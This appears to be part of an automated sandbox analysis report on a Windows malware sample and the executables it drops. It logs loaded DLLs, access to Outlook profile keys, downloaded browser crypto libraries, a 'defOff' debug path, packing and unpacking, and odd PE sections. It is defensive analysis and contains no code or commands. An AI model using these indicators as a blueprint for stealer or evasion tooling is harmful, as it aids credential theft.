Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: mstask.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: dui70.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: duser.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: chartv.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: atlthunk.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll
Source: C:\Users\user\Desktop\file.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32 Jump to behavior
Source: Google Drive.lnk.21.dr LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.21.dr LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.21.dr LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.21.dr LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.21.dr LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.21.dr LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: file.exe Static file information: File size 1887744 > 1048576
Source: file.exe Static PE information: Raw size of onyqalus is bigger than: 0x100000 < 0x19b200
Source: Binary string: mozglue.pdbP source: f99547c8e6.exe, 00000013.00000002.3236951883.000000006BF3D000.00000002.00000001.01000000.00000016.sdmp
Source: Binary string: nss3.pdb@ source: f99547c8e6.exe, 00000013.00000002.3237320341.000000006C0FF000.00000002.00000001.01000000.00000015.sdmp, nss3.dll.19.dr
Source: Binary string: my_library.pdbU source: f99547c8e6.exe, 00000013.00000002.3237865571.000000006C3A1000.00000002.00000001.01000000.0000000F.sdmp, f99547c8e6.exe, 00000013.00000002.3204730970.0000000000F0C000.00000040.00000001.01000000.0000000D.sdmp, f99547c8e6.exe, 00000013.00000003.2780814664.0000000004DDB000.00000004.00001000.00020000.00000000.sdmp, f99547c8e6.exe, 00000019.00000003.2929764002.0000000004B4B000.00000004.00001000.00020000.00000000.sdmp, f99547c8e6.exe, 00000029.00000003.3125912084.0000000004A5B000.00000004.00001000.00020000.00000000.sdmp, f99547c8e6.exe, 00000029.00000002.3261817464.0000000000F0C000.00000040.00000001.01000000.0000000D.sdmp
Source: Binary string: my_library.pdb source: f99547c8e6.exe, f99547c8e6.exe, 00000013.00000002.3237865571.000000006C3A1000.00000002.00000001.01000000.0000000F.sdmp, f99547c8e6.exe, 00000013.00000002.3204730970.0000000000F0C000.00000040.00000001.01000000.0000000D.sdmp, f99547c8e6.exe, 00000013.00000003.2780814664.0000000004DDB000.00000004.00001000.00020000.00000000.sdmp, f99547c8e6.exe, 00000019.00000003.2929764002.0000000004B4B000.00000004.00001000.00020000.00000000.sdmp, f99547c8e6.exe, 00000029.00000003.3125912084.0000000004A5B000.00000004.00001000.00020000.00000000.sdmp, f99547c8e6.exe, 00000029.00000002.3261817464.0000000000F0C000.00000040.00000001.01000000.0000000D.sdmp
Source: Binary string: softokn3.pdb@ source: softokn3[1].dll.19.dr, softokn3.dll.19.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.19.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.19.dr
Source: Binary string: nss3.pdb source: f99547c8e6.exe, 00000013.00000002.3237320341.000000006C0FF000.00000002.00000001.01000000.00000015.sdmp, nss3.dll.19.dr
Source: Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: VGX14DCMPTTJ4O2LPZ4N.exe, 00000028.00000003.3132081348.00000000048E0000.00000004.00001000.00020000.00000000.sdmp, VGX14DCMPTTJ4O2LPZ4N.exe, 00000028.00000002.3266375809.00000000002D2000.00000040.00000001.01000000.00000012.sdmp
Source: Binary string: mozglue.pdb source: f99547c8e6.exe, 00000013.00000002.3236951883.000000006BF3D000.00000002.00000001.01000000.00000016.sdmp
Source: Binary string: softokn3.pdb source: softokn3[1].dll.19.dr, softokn3.dll.19.dr

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\file.exe Unpacked PE file: 0.2.file.exe.150000.0.unpack :EW;.rsrc:W;.idata :W; :EW;onyqalus:EW;anklmzgm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;onyqalus:EW;anklmzgm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Unpacked PE file: 2.2.axplong.exe.b10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;onyqalus:EW;anklmzgm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;onyqalus:EW;anklmzgm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Unpacked PE file: 3.2.axplong.exe.b10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;onyqalus:EW;anklmzgm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;onyqalus:EW;anklmzgm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Unpacked PE file: 6.2.axplong.exe.b10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;onyqalus:EW;anklmzgm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;onyqalus:EW;anklmzgm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Unpacked PE file: 19.2.f99547c8e6.exe.ee0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;usisoqoi:EW;igxiqctn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;usisoqoi:EW;igxiqctn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Unpacked PE file: 33.2.62dceeab4d.exe.a30000.0.unpack :EW;.rsrc:W;.idata :W;pfboyhbl:EW;mirdfaun:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;pfboyhbl:EW;mirdfaun:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Unpacked PE file: 40.2.VGX14DCMPTTJ4O2LPZ4N.exe.2d0000.0.unpack :EW;.rsrc:W;.idata :W;ucxgvins:EW;nulvttal:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Unpacked PE file: 41.2.f99547c8e6.exe.ee0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;usisoqoi:EW;igxiqctn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;usisoqoi:EW;igxiqctn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Unpacked PE file: 42.2.V30AHCO282KY2KV83OC4RNYNX.exe.ca0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;bleglpjp:EW;ozncbdew:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;bleglpjp:EW;ozncbdew:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 44.2.skotes.exe.360000.0.unpack :EW;.rsrc:W;.idata :W; :EW;bleglpjp:EW;ozncbdew:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;bleglpjp:EW;ozncbdew:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 45.2.skotes.exe.360000.0.unpack :EW;.rsrc:W;.idata :W; :EW;bleglpjp:EW;ozncbdew:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;bleglpjp:EW;ozncbdew:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Unpacked PE file: 46.2.62dceeab4d.exe.a30000.0.unpack :EW;.rsrc:W;.idata :W;pfboyhbl:EW;mirdfaun:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;pfboyhbl:EW;mirdfaun:EW;.taggant:EW;
Binary contains a suspicious time stamp
Source: build.exe.7.dr Static PE information: 0xE480C158 [Mon Jun 25 20:55:52 2091 UTC]
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF273E0 LoadLibraryW,GetProcAddress,FreeLibrary, 19_2_6BF273E0
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: skotes.exe.42.dr Static PE information: real checksum: 0x1cae90 should be: 0x1d74b7
Source: chrome.dll.19.dr Static PE information: real checksum: 0x0 should be: 0xb0b18
Source: random[1].exe.6.dr Static PE information: real checksum: 0x209bb8 should be: 0x20b8de
Source: build.exe.7.dr Static PE information: real checksum: 0x0 should be: 0x3e0cd
Source: random[1].exe0.6.dr Static PE information: real checksum: 0x2e22aa should be: 0x2ddb21
Source: f99547c8e6.exe.6.dr Static PE information: real checksum: 0x209bb8 should be: 0x20b8de
Source: Final[1].exe.6.dr Static PE information: real checksum: 0x0 should be: 0x4f2b2
Source: Final.exe.6.dr Static PE information: real checksum: 0x0 should be: 0x4f2b2
Source: V30AHCO282KY2KV83OC4RNYNX.exe.20.dr Static PE information: real checksum: 0x1cae90 should be: 0x1d74b7
Source: VGX14DCMPTTJ4O2LPZ4N.exe.20.dr Static PE information: real checksum: 0x2b0426 should be: 0x2affbf
Source: axplong.exe.0.dr Static PE information: real checksum: 0x1d2cc0 should be: 0x1ce2e0
Source: file.exe Static PE information: real checksum: 0x1d2cc0 should be: 0x1ce2e0
Source: 62dceeab4d.exe.6.dr Static PE information: real checksum: 0x2e22aa should be: 0x2ddb21
PE file contains sections with non-standard names
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: onyqalus
Source: file.exe Static PE information: section name: anklmzgm
Source: file.exe Static PE information: section name: .taggant
Source: axplong.exe.0.dr Static PE information: section name:
Source: axplong.exe.0.dr Static PE information: section name: .idata
Source: axplong.exe.0.dr Static PE information: section name:
Source: axplong.exe.0.dr Static PE information: section name: onyqalus
Source: axplong.exe.0.dr Static PE information: section name: anklmzgm
Source: axplong.exe.0.dr Static PE information: section name: .taggant
Source: random[1].exe.6.dr Static PE information: section name:
Source: random[1].exe.6.dr Static PE information: section name: .rsrc
Source: random[1].exe.6.dr Static PE information: section name: .idata
Source: random[1].exe.6.dr Static PE information: section name:
Source: random[1].exe.6.dr Static PE information: section name: usisoqoi
Source: random[1].exe.6.dr Static PE information: section name: igxiqctn
Source: random[1].exe.6.dr Static PE information: section name: .taggant
Source: f99547c8e6.exe.6.dr Static PE information: section name:
Source: f99547c8e6.exe.6.dr Static PE information: section name: .rsrc
Source: f99547c8e6.exe.6.dr Static PE information: section name: .idata
Source: f99547c8e6.exe.6.dr Static PE information: section name:
Source: f99547c8e6.exe.6.dr Static PE information: section name: usisoqoi
Source: f99547c8e6.exe.6.dr Static PE information: section name: igxiqctn
Source: f99547c8e6.exe.6.dr Static PE information: section name: .taggant
Source: random[1].exe0.6.dr Static PE information: section name:
Source: random[1].exe0.6.dr Static PE information: section name: .idata
Source: random[1].exe0.6.dr Static PE information: section name: pfboyhbl
Source: random[1].exe0.6.dr Static PE information: section name: mirdfaun
Source: random[1].exe0.6.dr Static PE information: section name: .taggant
Source: 62dceeab4d.exe.6.dr Static PE information: section name:
Source: 62dceeab4d.exe.6.dr Static PE information: section name: .idata
Source: 62dceeab4d.exe.6.dr Static PE information: section name: pfboyhbl
Source: 62dceeab4d.exe.6.dr Static PE information: section name: mirdfaun
Source: 62dceeab4d.exe.6.dr Static PE information: section name: .taggant
Source: freebl3.dll.19.dr Static PE information: section name: .00cfg
Source: freebl3[1].dll.19.dr Static PE information: section name: .00cfg
Source: mozglue.dll.19.dr Static PE information: section name: .00cfg
Source: mozglue[1].dll.19.dr Static PE information: section name: .00cfg
Source: msvcp140.dll.19.dr Static PE information: section name: .didat
Source: msvcp140[1].dll.19.dr Static PE information: section name: .didat
Source: nss3.dll.19.dr Static PE information: section name: .00cfg
Source: nss3[1].dll.19.dr Static PE information: section name: .00cfg
Source: softokn3.dll.19.dr Static PE information: section name: .00cfg
Source: softokn3[1].dll.19.dr Static PE information: section name: .00cfg
Source: VGX14DCMPTTJ4O2LPZ4N.exe.20.dr Static PE information: section name:
Source: VGX14DCMPTTJ4O2LPZ4N.exe.20.dr Static PE information: section name: .idata
Source: VGX14DCMPTTJ4O2LPZ4N.exe.20.dr Static PE information: section name: ucxgvins
Source: VGX14DCMPTTJ4O2LPZ4N.exe.20.dr Static PE information: section name: nulvttal
Source: VGX14DCMPTTJ4O2LPZ4N.exe.20.dr Static PE information: section name: .taggant
Source: V30AHCO282KY2KV83OC4RNYNX.exe.20.dr Static PE information: section name:
Source: V30AHCO282KY2KV83OC4RNYNX.exe.20.dr Static PE information: section name: .idata
